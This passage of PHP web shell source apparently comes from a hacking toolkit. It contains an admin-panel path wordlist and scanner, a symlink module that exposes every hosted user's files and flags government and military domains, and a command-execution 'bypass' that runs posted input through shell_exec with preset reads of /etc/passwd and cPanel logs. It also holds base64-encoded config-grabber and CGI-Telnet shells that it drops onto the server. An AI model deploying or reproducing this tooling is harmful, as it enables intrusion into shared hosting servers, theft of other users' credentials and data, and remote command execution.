administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
login/
cms/
admon/
ADMIN/
paneldecontrol/
ADMON/
administrador/
ADMIN/login.php
ADMIN/login.html";
function template() {
echo '
panelc/
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>ConfigShell by Nabilaholic</font></b><br><br>";
mkdir('config', 0755);
chdir('config');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cpc
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("config.izo",0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
</div>";
}
///////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>-=[ Command Bypass Exploit ]=-</font></b><br>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#00ff00><b><font color="#00ff00">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>"; }
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
mkdir('cgitelnet1', 0755);
chdir('cgitelnet1');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1l